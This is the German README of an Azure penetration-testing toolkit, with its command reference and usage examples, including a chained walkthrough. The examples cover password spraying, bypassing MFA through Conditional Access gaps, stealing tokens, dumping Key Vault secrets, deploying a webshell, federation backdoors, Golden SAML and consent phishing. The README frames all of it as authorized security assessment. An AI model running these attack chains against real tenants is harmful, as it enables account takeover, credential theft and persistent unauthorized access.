
Go-Toolkit für autorisierte Azure-Sicherheitsbewertungen: zählt Abonnements und Ressourcen auf, prüft Fehlkonfigurationen und greift anonym auf öffentlichen Blob-Speicher zu.
azpt)🚧 Öffentliche Beta.
azptbefindet sich in aktiver Entwicklung — Befehle, Flags und Ausgabeformate können sich zwischen Releases noch ändern. Fehlerberichte und Feedback sind über GitHub-Issues willkommen.
azpt ist ein Go-Toolkit für autorisierte Azure-Sicherheitsbewertungen. Es
arbeitet aus zwei Perspektiven:
⚠️ Nur autorisierte Nutzung. Führe dies nur gegen Tenants, Subscriptions und Speicherkonten aus, für deren Test du ausdrücklich schriftliche Genehmigung hast. Die anonymen
blob-Befehle berühren Infrastruktur Dritter über das Internet — grenze sie auf dein Engagement ein.
Alle Beispiele unten beziehen sich auf eine fiktive Acme Corp, deren statische
Marketing-Website in einem Azure-Speicherkonto namens acmewebsite
(https://acmewebsite.blob.core.windows.net) gehostet wird.
Die vollständige Dokumentation befindet sich in docs/:
docs/guides/) — pro Feature: wie die
Technik funktioniert, die exakt benötigte Azure RBAC- / Microsoft Graph-Berechtigung,
die wichtigsten Flags erklärt, Beispiele sowie OPSEC- / Detection-Hinweise — gegliedert
nach Engagement-Phase.docs/guides/scenarios/)
— End-to-End-Angriffsnarrative, die Befehle über Phasen hinweg verketten (Token →
Global Admin, Golden SAML-Übernahme, PRT-Diebstahl, Consent-Phishing → M365,
Lateral Movement über Managed Identity, Offline-Verzeichnisjagd, Device-Code-
Phishing), jeweils mit OPSEC und Bereinigung.docs/reference/) — eine automatisch generierte
Seite pro Befehl mit jedem Flag (Name, Kurzform, Typ, Standardwert,
Beschreibung). Neu generieren mit azpt gen-docs docs/reference; dieselben
Informationen werden auch von azpt <command> --help ausgegeben.Lade das Archiv für deine Plattform vom neuesten Release herunter, verifiziere es und entpacke es:```bash
tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS
Binaries sind statisch (`CGO_ENABLED=0`) und benötigen keine Laufzeitabhängigkeiten.
Builds werden für linux und darwin auf amd64 und arm64 veröffentlicht.
Windows-Binaries werden nicht veröffentlicht. Die Windows-spezifischen Helfer (`prt extract`,
`adconnect sync-creds`, DPAPI) lassen sich weiterhin aus dem Quellcode mit `go build -o
azpt.exe .` auf einem Windows-Host bauen.
### Aus dem Quellcode
Erfordert Go 1.26+.```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .
Dies erzeugt eine eigenständige azpt-Binärdatei im Repo-Stammverzeichnis. Du kannst auch
ohne Build über go run . <command> aus dem Repo-Verzeichnis ausführen.
Für die anonymen blob-Befehle ist keine Azure-Anmeldung erforderlich:```bash
./azpt blob hunt --account acmewebsite
Mit Azure-Anmeldeinformationen (`az login`) von innen bewerten — sowohl die Ressourcenebene (ARM) als auch das Verzeichnis (Entra ID / Graph):```bash
./azpt enum whoami # who am I authenticated as?
./azpt enum subscriptions # what subscriptions can this principal see?
./azpt audit storage # misconfigured storage accounts
./azpt enum users # dump the Entra ID directory (Graph)
Eine häufige Kette: eine Anmeldeinformation anonym mit blob hunt wiederherstellen, sich als dieser Benutzer anmelden (az login), mit enum access prüfen, was er tun kann, und dann alle Key Vaults plündern, die erreichbar sind:```bash
./azpt enum access # token scopes, directory roles, groups, RBAC roles
./azpt enum resources # find Key Vaults (type: vaults)
./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault
./azpt vault dump --vault ext-contractors # read every secret value (the loot)
---
## Authentifizierung
Die anonymen `blob`-Befehle benötigen **keine** Authentifizierung. Alles andere verwendet
die Azure-**Standard-Anmeldeinformationskette**, die in dieser Reihenfolge versucht: Umgebungs-
variablen, Workload-Identität, Managed Identity und die Azure CLI (`az login`).```bash
az login
./azpt enum subscriptions
Erzwinge explizite Service-Principal-Authentifizierung (nützlich für eine
bereichsbezogene Assessment-Identität) mit Flags oder Umgebungsvariablen. Noch
keine vorhanden? az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> erstellt eine — siehe Erste
Schritte für die
vollständige Anleitung, einschließlich der Graph-Berechtigungen, die RBAC allein
dir nicht gewährt:```bash
./azpt --tenant --client-id --client-secret
enum subscriptions
export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions
**Zertifikatsbasierte** Authentifizierung (PFX oder PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
--certificate ./cert.pfx --cert-password 'P@ss' \
enum subscriptions
Begrenzen Sie authentifizierte Ausführungen auf bestimmte Abonnements mit --subscription
(wiederholbar); der Standard ist jedes Abonnement, das der Prinzipal erreichen kann:```bash
./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage
---
## Befehlsreferenz
🧪 markiert einen Befehl, der sich noch in der **Beta** befindet: implementiert und nutzbar, aber weniger
erprobt als der Rest der Suite — erwarten Sie rauere Kanten, und bitte
melden Sie Probleme, auf die Sie stoßen.
| Befehl | Auth | API | Beschreibung |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | Wird die Domain von Entra ID unterstützt? (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | Die Tenant-ID ermitteln (OpenID-Konfiguration) |
| `recon outsider <domain>` | ❌ | Identity+DNS | Vollständige Outsider-Aufklärung: Realm, Tenant, MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | Azure-Dienst-Subdomains aufzählen (App Service, Storage, Vault, SQL, ...) |
| `recon users` | ❌ | Identity | Prüfen, ob Benutzernamen in Entra ID existieren |
| `spray` | ❌ | Identity | Password-Spraying mit einem Passwort über Benutzernamen hinweg (nur autorisiert) |
| `mfa audit` | ❌ | Identity | Lücken bei der MFA-Durchsetzung finden (ROPC über Ressourcen/Clients/User-Agents) |
| `mfa token` | ❌ | Identity | Ein Access-Token über eine MFA-Lücke erhalten (probiert User-Agents automatisch durch) |
| `mfa refresh` | ❌ | Identity | Ein Refresh-Token gegen das Token einer anderen Ressource einlösen (FOCI) |
| `mfa devicecode` | ❌ | Identity | Device-Code-Phishing-Köder → Tokens nach Anmeldung des Opfers abgreifen |
| `imds token` | ❌ | IMDS | Ein Managed-Identity-Token auf einer kompromittierten Ressource erzeugen (auf dem Host ausführen) |
| `imds loot` | ❌ | IMDS | MI-Tokens für ARM, Graph, Storage und Key Vault auf einmal abgreifen |
| `enum ca` | ✅ | Graph | Conditional-Access-Richtlinien aufzählen und MFA-Lücken markieren |
| `enum deployments` | ✅ | ARM | ARM-Bereitstellungsverlauf auflisten, parameter mit Geheimnissen markieren |
| `webapp list/settings/creds` | ✅ | ARM | App-Service-Inventar, App-Einstellungen, Kudu-Publishing-Anmeldedaten |
| `webapp exec` | ✅ | ARM/Kudu | Einen Befehl auf einer Site über Kudu ausführen (RCE) |
| `webapp loot` | ✅ | ARM | Jede App: Einstellungen + Verbindungszeichenfolgen + Kudu-Anmeldedaten, Geheimnisse markieren |
| `storage keys` | ✅ | ARM | Die Zugriffsschlüssel eines Speicherkontos auflisten |
| `storage sas` | ✅ | ARM | Ein Konto-SAS-Token über ARM erzeugen |
| `vm list` / `vm run` | ✅ | ARM | VMs auflisten / einen Befehl über RunCommand ausführen |
| `automation list/loot` | ✅ | ARM | Automation-Runbooks, Variablen, Namen von Anmeldedaten |
| `loot keys` | ✅ | ARM | Schlüssel/Verbindungszeichenfolgen aus Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps durchsuchen |
| `loot apim` | ✅ | ARM | API-Management-Named-Values (inkl. Geheimnisse) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Logic-App-Definitionen / Data-Factory-verknüpfte Dienste |
| `aks list` / `aks kubeconfig` | ✅ | ARM | AKS-Cluster auflisten / die cluster-admin-kubeconfig abgreifen |
| `enum approles` | ✅ | Graph | Graph-App-Rollenzuweisungen aufzählen, Privesc-Pfade markieren (→ Global Admin) |
| `enum privroles` | ✅ | Graph | Inhaber privilegierter Verzeichnisrollen (aktiv + PIM-berechtigt) |
| `enum grants` | ✅ | Graph | Delegierte OAuth2-Gewährungen (unzulässig / übermäßige Zustimmung), gefährliche Scopes markiert |
| `enum laps` | ✅ | Graph | Windows-LAPS-Lokaladmin-Passwörter aus Entra abrufen |
| `enum bitlocker` | ✅ | Graph | BitLocker-Wiederherstellungsschlüssel aus Entra abrufen |
| `enum dynamicgroups` | ✅ | Graph | Dynamische (regelbasierte) Gruppen — Selbstbeitritt / Privesc-Angriffsfläche |
| `enum guests` / `enum devices` | ✅ | Graph | Gastbenutzer (B2B) / registrierte Geräte |
| `enum risky` | ✅ | Graph | Suche nach veralteten/riskanten Objekten: Gäste, Sync-SP, Break-Glass, Apps mit Geheimnissen |
| `enum intune` / `intune list` | ✅ | Graph | Intune-verwaltete Geräte auflisten |
| `intune script` | ✅ | Graph | Ein PowerShell-Skript auf eine Gerätegruppe bereitstellen (SYSTEM-RCE) |
| `recon tenantinfo` | ❌ | Identity | Tiefgehende Outsider-Aufklärung: Tenant-ID, Föderation, Seamless SSO, On-Prem-Synchronisierung |
| `entra create-app` | ✅ | Graph | App + SP + Secret erstellen (kontrollierbare Persistenz-Identität) |
| `entra reset-password` | ✅ | Graph | Das Passwort eines Benutzers zurücksetzen (Kontoübernahme) |
| `token decode` | ❌ | — | Die Claims eines JWT dekodieren (Identität, Scopes, Rollen, wids→Rollennamen, Ablauf) |
| `elevate-access` | ✅ | ARM | Global Admin → User Access Administrator auf Tenant-Root (Entra→Azure-Pivot) |
| `entra add-member/add-owner` | ✅ | Graph | Ein Mitglied/einen Besitzer zu einer Gruppe/App/SP hinzufügen (Privesc & Persistenz) |
| `entra grant` | ✅ | Graph | Eine OAuth2-Zustimmungsgewährung erstellen (unzulässige Zustimmung) |
| `entra invite` / `entra tap` | ✅ | Graph | Einen B2B-Gast einladen / einen Temporary Access Pass erstellen (Auth-Bypass) |
| `scan --loot` | ✅ | ARM+Graph | Tiefgehender Loot-Scan: Function-App-Schlüssel, AKS-kubeconfig, LAPS, BitLocker, APIM, DB-Firewalls, Snapshots, benutzerdefinierte Rollen, veraltete Anmeldedaten |
| `scan --bloodhound` | ✅ | — | Den Entra+ARM-Graphen als BloodHound-CE-OpenGraph-JSON exportieren |
| `enum adminunits` | ✅ | Graph | Administrative Units und ihre bereichsbezogenen Rollenmitglieder (AU-beschränkter Admin-Missbrauch) |
| `enum identities` | ✅ | ARM | Managed Identities ihren Host-Ressourcen zuordnen |
| `enum lighthouse` | ✅ | ARM | Azure-Lighthouse-Delegierungen (externe Tenants, die dieses Abonnement verwalten) |
| `enum pip` | ✅ | ARM | Öffentliche IP-Adressen im Abonnementbereich auflisten |
| `entra update-profile` | ✅ | Graph | Die Profilattribute eines Benutzers aktualisieren (Missbrauch dynamischer Gruppen) |
| `app add-secret` | ✅ | Graph | Ein Client-Secret zu einer App-Registrierung hinzufügen (Persistenz/Privesc) |
| `app add-federated` | ✅ | Graph | Eine föderierte Identitätsanmeldeinformation hinzufügen (Persistenz über externen IdP) |
| `webapp functionkeys` | ✅ | ARM | Function-App-Host-Schlüssel (Master-Key → Admin-API / RCE) |
| `disk list` / `disk export` | ✅ | ARM | Datenträger/Snapshots auflisten / Read-SAS-Export für Offline-VHD-Looting |
| `storage shares` / `storage queues` | ✅ | ARM | Azure-Files-Freigaben / Storage-Queues auflisten |
| `storage peek` / `storage files` | ✅ | Storage | Inhalt von Queue-Nachrichten einsehen / Dateien in Dateifreigaben auflisten (Datenebene) |
| `loot aci` | ✅ | ARM/data | Umgebungsvariablen von Container Instances |
| `loot appconfig` 🧪 | ✅ | ARM/data | App-Configuration-Schlüssel-Wert-Paare |
| `cosmos list/dump/table` | ✅ | ARM+data | Cosmos-DB-Konten, Datenbanken, Container, Dokumentlesevorgänge, Table-API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | Container-App-Geheimnisse + Umgebungsvariablen / exec in ein Replikat / MI-Token stehlen |
| `iot list/devices/invoke` | ✅ | ARM+data | IoT-Hub-Schlüssel, Geräteidentitäten, Direct-Method-Aufruf (Geräte-RCE) |
| `backup vaults/items/restore` | ✅ | ARM | Recovery-Services-Tresore, Sicherungselemente + Wiederherstellungspunkte, Datenträger wiederherstellen |
| `db list/query` | ✅ | ARM+data | PostgreSQL/MySQL-Server-Aufzählung und -Abfrage (Entra- oder DB-Anmeldung) |
| `blob containers` | ❌ | Blob | Alle Container eines Speicherkontos auflisten (mit --sas für Service-Level-SAS) |
| `m365 mail/files/sites` | ✅ | Graph | Postfach, OneDrive und SharePoint mit einem Graph-Token looten |
| `blob brute` | ❌ | DNS/Blob | Speicherkonten nach Namen entdecken und anonyme Container prüfen |
| `recon takeover` | ❌ | DNS | Hängende Azure-CNAMEs markieren (Subdomain-Übernahme) |
| `audit network` | ✅ | ARM | NSG-Internetzugriff und öffentliche IPs prüfen |
| `audit keyvault` | ✅ | ARM | Öffentlichen Zugriff auf Key Vault, Purge/Soft-Delete, weitreichende Richtlinien prüfen |
| `audit rbac` | ✅ | ARM | RBAC-Hygiene prüfen: Owner-Wildwuchs, UAA, riskante benutzerdefinierte Rollen |
| `enum subscriptions` | ✅ | ARM | Abonnements auflisten, die für den aktuellen Prinzipal sichtbar sind |
| `enum resources` | ✅ | ARM | Jede Ressource im Abonnementbereich auflisten (`--fast` verwendet Resource Graph; `--access` fügt eine Spalte mit der RBAC-Rolle hinzu, die Sie für jede Ressource besitzen) |
| `enum kql` | ✅ | ARM | Eine beliebige Azure-Resource-Graph-Abfrage (KQL) im Bereich ausführen |
| `enum users` | ✅ | Graph | Entra-ID-Verzeichnisbenutzer auflisten |
| `enum groups` | ✅ | Graph | Entra-ID-Verzeichnisgruppen auflisten |
| `enum service-principals` | ✅ | Graph | Dienstprinzipale / Unternehmens-Apps auflisten |
| `enum apps` | ✅ | Graph | App-Registrierungen auflisten, mit Anzahl von Geheimnissen/Zertifikaten |
| `enum org` | ✅ | Graph | Tenant-/Organisationsinformationen und verifizierte Domänen anzeigen |
| `enum whoami` | ✅ | Graph | Den aktuell authentifizierten Benutzer anzeigen (`/me`) |
| `enum access` | ✅ | ARM+Graph | Ihren effektiven Zugriff anzeigen: Token-Scopes, Verzeichnisrollen, Gruppenmitgliedschaften, RBAC-Rollen |
| `scan` | ✅ | ARM+Graph | Den Zugriff des Benutzers als BloodHound-artigen Angriffspfad-Graphen abbilden (+ HTML) |
| `audit storage` | ✅ | ARM | Speicherkonten prüfen (öffentlicher Zugriff, TLS, Transport, Firewall) |
| `vault list` | ✅ | KV | Geheimnisse, Schlüssel und Zertifikate in einem Key Vault auflisten |
| `vault get --secret <n>` | ✅ | KV | Den Wert eines einzelnen Key-Vault-Geheimnisses lesen |
| `vault dump` | ✅ | KV | Jedes Geheimnis in einem Key Vault auflisten und lesen |
| `sql databases` | ✅ | SQL | Datenbanken auf einem Azure-SQL-Server auflisten |
| `sql tables` | ✅ | SQL | Tabellen (mit Zeilenanzahl) in einer Datenbank auflisten |
| `sql query -q <sql>` | ✅ | SQL | Eine schreibgeschützte Abfrage ausführen (Mutationen erfordern `--allow-write`) |
| `sql dump --table <t>` | ✅ | SQL | Zeilen aus einer Tabelle ausgeben |
| `storage containers` | ✅ | Storage | Blob-Container auflisten (authentifiziert) |
| `storage blobs` | ✅ | Storage | Blobs in einem Container auflisten (authentifiziert) |
| `storage download` | ✅ | Storage | Ein Blob herunterladen (authentifiziert) |
| `storage tables` | ✅ | Storage | Storage-Tabellen in einem Konto auflisten |
| `storage entities` | ✅ | Storage | Die Zeilen einer Storage-Tabelle abfragen/ausgeben |
| `blob check <path>` | ❌ | Blob | Ein HEAD auf ein Blob ausführen, um anonyme Erreichbarkeit zu testen |
| `blob list` | ❌ | Blob | Einen Container anonym auflisten (`--versions`, `--delimiter /`, `--prefix`) |
| `blob versions` | ❌ | Blob | Blob-Versionen aufzählen — macht alte/überholte/gelöschte Dateien sichtbar |
| `blob download <path>` | ❌ | Blob | Ein Blob herunterladen, optional eine bestimmte `--version-id` |
| `blob hunt` | ❌ | Blob | Container prüfen, Versionen aufzählen und Dateien mit Geheimnissen markieren |
| `vm show` | ✅ | ARM | Detaillierte VM-Informationen: Benutzerdaten, öffentliche/private IPs, Tags, Admin-Benutzer |
| `vm extensions` | ✅ | ARM | VM-Erweiterungen auflisten (Leck von Anmeldedaten der Custom Script Extension) |
| `vm steal-token` | ✅ | ARM | Ein Managed-Identity-Token von einer VM über IMDS stehlen (RunCommand) |
| `enum synced` | ✅ | Graph | On-Premises-synchronisierte Benutzer mit Security Identifiers (SIDs) auflisten |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | Power-Platform-Umgebungen (Dataverse-Instanzen) auflisten |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | Power-Apps-Canvas-Anwendungen auflisten |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | Dataverse-Tabellen (Entitätsdefinitionen) auflisten |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | Zeilen aus einer Dataverse-Tabelle über OData abfragen |
| `webapp deploy` | ✅ | Kudu | Eine Datei über Kudu VFS auf eine Web-App hochladen (Webshell-Bereitstellung) |
| `token extract` | ❌ | — | Tokens aus einer MSAL-Token-Cache-Datei extrahieren (Refresh + Access) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Teams-Kanäle, E-Mail-Suche, SharePoint/OneDrive-Suche |
| `m365 scan` | ✅ | Graph | M365-Daten nach Geheimnissen, Passwörtern, Anmeldedaten durchsuchen (14 Muster) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | Azure-DevOps-Organisationen aufzählen: Projekte, Service Connections (SP/Tenant/Abonnement offengelegt), Variablengruppen, Pipelines |
| `devops preview` | ✅ | DevOps | Das endgültige YAML einer Pipeline nach Template-/Variablenexpansion auflösen, ohne sie auszuführen |
| `devops run` | ✅ | DevOps | Einen echten Pipeline-Lauf in die Warteschlange stellen und sein Build-Log erfassen (führt als Identität der Service Connection der Pipeline aus) |
| `arm deploy-script` | ✅ | ARM | Code in einem kurzlebigen ACI-Container über `deploymentScripts` ausführen (RCE), optional mit Anhängen einer Managed Identity |
| `persistence grant-rbac` | ✅ | ARM | Eine RBAC-Rolle (z. B. Owner) sich selbst oder einem Prinzipal in einem beliebigen Bereich zuweisen (Privesc/Persistenz) |
| `persistence attach-identity` | ✅ | ARM | Eine benutzerseitig zugewiesene Managed Identity an eine Ressource anhängen (Privesc über `steal-token`) |
| `aks kubeconfig --user` | ✅ | ARM | Die Entra-authentifizierte Benutzer-kubeconfig abrufen (funktioniert auf Clustern mit deaktivierten lokalen Konten) |
| `k8s secrets` | ✅ | K8s | Jedes Kubernetes-Secret in einem Namespace (oder im gesamten Cluster) ausgeben |
| `k8s serviceaccounts` | ✅ | K8s | Service Accounts auflisten und diejenigen markieren, die über Azure Workload Identity föderiert sind |
| `k8s pods` | ✅ | K8s | Pods und den Service Account auflisten, unter dem jeder läuft |
| `k8s rbac` | ✅ | K8s | Cluster-/Role-Bindings aufzählen und cluster-admin/Wildcard/Pod-Exec/Secrets-Read-Privesc-Pfade markieren |
| `k8s exec` | ✅ | K8s | Einen Befehl in einem Pod ausführen (nicht-interaktive RCE, als Service Account dieses Pods) |
| `k8s steal-token` | ✅ | K8s | Ein Service-Account-Token über die TokenRequest-API erzeugen (funktioniert ohne gemountetes Token-Secret) |
| `k8s pivot-azure` | ✅ | K8s→Entra | Ein Workload-Identity-föderiertes SA-Token stehlen und gegen ein echtes Azure-AD-Access-Token eintauschen |
| `harvest` | ❌ | — | az-CLI-/Az-PowerShell-Anmeldedatenspeicher auf der Festplatte looten (Tokens, SP-Geheimnisse; DPAPI-geschützte Speicher unter Windows) |
| `prt nonce` 🧪 | ❌ | Identity | Einen Server-Nonce (`srv_challenge`) für die PRT-Cookie-Signierung abrufen |
| `prt cookie` 🧪 | ❌ | Identity | Ein signiertes `x-ms-RefreshTokenCredential`-SSO-Cookie aus einem PRT + Session Key erstellen (KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | Vollständige PRT-SSO-Kette: Nonce → Cookie → Authorize → Access + Refresh Token |
| `prt extract` 🧪 | ❌ | Identity | Auf dem Host (Windows): ein frisches SSO-Cookie aus BrowserCore.exe ziehen und einlösen (ROADtoken) |
| `device register` | ✅ | DRS | Ein rogue Gerät registrieren (Join) → Gerätezertifikat/-schlüssel — PRT-Voraussetzung, Device-CA-Bypass, Persistenz |
| `federation list` | ✅ | Graph | Die Föderationskonfiguration einer Domäne anzeigen |
| `federation backdoor` | ✅ | Graph | Eine verwaltete Domäne in Federated umwandeln und einem Angreifer-STS vertrauen (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | Eine signierte SAML-Assertion für einen beliebigen Benutzer fälschen und gegen Tokens einlösen (Golden SAML) |
| `federation remove` | ✅ | Graph | Eine Föderationskonfiguration löschen (auf Managed zurücksetzen / Bereinigung) |
| `entra phish-app create` 🧪 | ✅ | Graph | Eine mandantenübergreifende OAuth-Consent-Phishing-App + Zustimmungs-URLs erzeugen (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | Lokaler Listener, der den Zustimmungs-Auth-Code abfängt und gegen Tokens einlöst |
| `m365 rules list/add/delete` | ✅ | Graph | Postfach-Weiterleitungsregeln (stille Postfachweiterleitungs-Persistenz) |
| `scan dump` | ✅ | ARM+Graph | Das Verzeichnis + den Angriffsgraphen in eine Offline-SQLite-Datenbank in reinem Go ziehen |
| `scan query <view>` | ❌ | — | Vorgefertigte analytische Ansichten (`admins`, `password-resetters`, `dangerous-approles`, …) gegen einen Dump ausführen |
| `adconnect sync-creds` | ✅ | ADSync SQL | Verschlüsselte AD-Connect-Sync-Bind-Anmeldedaten aus der ADSync-DB ausgeben (entschlüsseln mit AADInternals `Get-AADIntSyncCredentials`) |
`azpt` spricht mit drei Azure-APIs. Die **ARM**-Befehle verwenden das Azure SDK; die
**Graph**-Befehle (Entra ID / Verzeichnisobjekte) verwenden ein rohes Graph-Token aus derselben
Anmeldeinformation; die **Blob**-Befehle sind vollständig anonym.
**Globale Flags** (vor dem Unterbefehl): `--json`, `--jsonl` (NDJSON, für
Streaming-/BloodHound-artige Pipelines), `--opsec` (Erkennungsoberfläche vor der Ausführung ausgeben), `--subscription <id>` (wiederholbar), `--tenant`, `--client-id`,
`--client-secret`, `--certificate` (PFX/PEM), `--cert-password`,
`--access-token` (wiederholbar, oder `AZPT_TOKEN`), `--refresh-token` (FOCI
Auto-Pivot), `--cloud` (`public` | `usgov` | `china` — richtet ARM/Graph/Login-
Endpunkte für souveräne Clouds neu aus).
Alle ARM- und Graph-Aufrufe folgen der `nextLink`-Paginierung (keine stille Kürzung bei
großen Tenants) und wiederholen bei `429`/`503` unter Beachtung von `Retry-After`.
**azpt mit einem gestohlenen Token steuern.** Jeder authentifizierte Befehl akzeptiert ein
zuvor erhaltenes Bearer-Token über `--access-token` (oder `AZPT_TOKEN`) anstelle von
`az login` — Tokens, die aus einer MFA-Lücke (`mfa token`), einer Managed Identity
(`imds`) oder Phishing stammen, funktionieren alle direkt. Geben Sie mehrere an (ARM, Graph, Storage) und
jedes wird an die API weitergeleitet, deren Audience es entspricht:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html
Die klassische Post-Exploitation-Kette, vollständig in azpt:```bash
T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds
azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity
azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage
**`blob`-Flags** (alle `blob`-Unterbefehle): `--account <name>` (erforderlich),
`--container <name>` (Standard `$web`), `--api-version <ver>` (Standard
`2021-08-06`; muss ≥ `2019-12-12` sein für die Versionsauflistung),
`--endpoint-suffix <suffix>` (Standard `core.windows.net`; auf
`core.usgovcloudapi.net` / `core.chinacloudapi.cn` setzen für souveräne Clouds).
Führen Sie `./azpt <command> --help` aus, um die vollständige Flag-Liste eines beliebigen Befehls zu erhalten.
---
## Reconnaissance (nur Domain)
Die `recon`-Befehle stehen am Anfang eines Engagements: Mit nichts außer einem Domainnamen
feststellen, ob die Organisation Entra ID verwendet, ihre Tenant-ID finden, ihren
Azure-Footprint kartieren und Benutzernamen validieren — alles **unauthentifiziert**.```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com
# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com
# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30
# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt
# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com
spraySobald Sie gültige Benutzernamen und ein Kandidatenpasswort haben (z. B. aus einem Breach-Korpus), testen Sie es. Dies ist ein einzelnes Passwort über viele Benutzer hinweg (ein Spray, kein Brute-Force pro Benutzer, der Konten sperrt), aber es ist dennoch auffällig und kann Sperrungen und Alarme auslösen.```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm
`--confirm` ist obligatorisch — lässt man es weg, verweigert der Befehl die Ausführung. Ergebnisse werden
klassifiziert: gültig, gültig-aber-MFA-erforderlich, deaktiviert, gesperrt (stopp!), oder ungültig.
Codes, die erst *nach* der Verifizierung des Passworts auftreten (MFA, abgelaufen, CA), werden
als **gültige Anmeldeinformationen** gemeldet.
> ⚠️ Password Spraying ist eine intrusive, erkennbare Technik. Führe es nur
> gegen Tenants aus, für die du eine ausdrückliche schriftliche Genehmigung zum Testen hast.
### MFA-Durchsetzungslücken — `mfa`
Du hast **gültige Anmeldeinformationen** für einen Benutzer, aber das Azure-Portal fordert MFA an.
Conditional-Access-Richtlinien sind häufig nach *Ressource*, *Client-App*
und *Geräteplattform* (die Entra aus dem `User-Agent` ableitet) eingegrenzt. Wenn eine Richtlinie
MFA nur dann erfordert, wenn eine Anfrage einer dieser Bedingungen entspricht, kann eine Anfrage, die
**keiner** entspricht — z. B. ein ungewöhnlicher User-Agent für die Geräteplattform — ein
Token mit **überhaupt keinem MFA** erhalten. Dies ist dieselbe Technik wie
[FindMeAccess](https://github.com/absolomb/FindMeAccess), unter Verwendung des ROPC-Flows.```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm
| --no-color | Deaktiviert farbige Ausgabe |
| --debug | Aktiviert Debug-Protokollierung |
| --quiet | Unterdrückt nicht wesentliche Ausgabe |
| --config | Pfad zur Konfigurationsdatei |
| --timeout | Timeout in Sekunden |```
[·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced)
[·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced)
[+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge
...
OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked
[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"
Die Lücke hier ist eine Geräte-Plattform-Bedingung, bei der *alle* Plattformen ausgewählt sind –
was sicher aussieht, aber die Auswertung erzwingt MFA nur, wenn der User-Agent
**mit einer von ihnen übereinstimmt**. Ein User-Agent, der mit keiner übereinstimmt (eine PlayStation 5 oder ein erfundener
String), erhält Zugriff. Nun schnappen Sie sich ein nutzbares Token und pivotieren Sie hinein:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
-r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
# Connect-AzAccount -AccessToken $t -AccountId "j.doe"
-r / -c akzeptieren entweder eine vollständige URL / App-ID oder einen Kurznamen (storage,
graph, keyvault; cli, office, teams). Hole dir auf dieselbe Weise ein Storage-Token, um an Blob-Daten zu gelangen, die ein ARM-Token nicht erreichen kann:```bash
./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm
`--confirm` ist obligatorisch. ROPC sendet echte Anmeldeinformationen an den Token-Endpunkt, sodass wiederholte Versuche das Konto sperren und Anmeldewarnungen auslösen können — der Sweep ist **gestaffelt** (Baseline, dann User-Agents, dann erweitert `--full` auf jeden Client und jede Ressource), um die Anzahl der Anfragen gering zu halten, und `--delay <ms>` drosselt ihn.
> ⚠️ ROPC-basiertes MFA-Testing ist intrusiv und wird protokolliert (es erscheint in den Entra-Anmeldeprotokollen als ROPC-Authentifizierung). Nur autorisierte Einsätze.
## Walkthrough: Angriff auf anonyme Blobs
Dies ist der Vorzeige-Workflow: die Kompromittierung einer statischen Website, die aus Azure Blob Storage gehostet wird, mit **null Anmeldeinformationen**. Anonymes *Listing* funktioniert, wenn die öffentliche Zugriffsebene eines Containers auf `Container` gesetzt ist; die *Versionsauflistung* erfordert zusätzlich, dass die Blob-Versionierung für das Konto aktiviert ist.
Eine ausführlichere Erklärung der einzelnen Schritte und warum sie funktionieren, finden Sie in
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md).```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
# -> HTTP 200 accessible=true
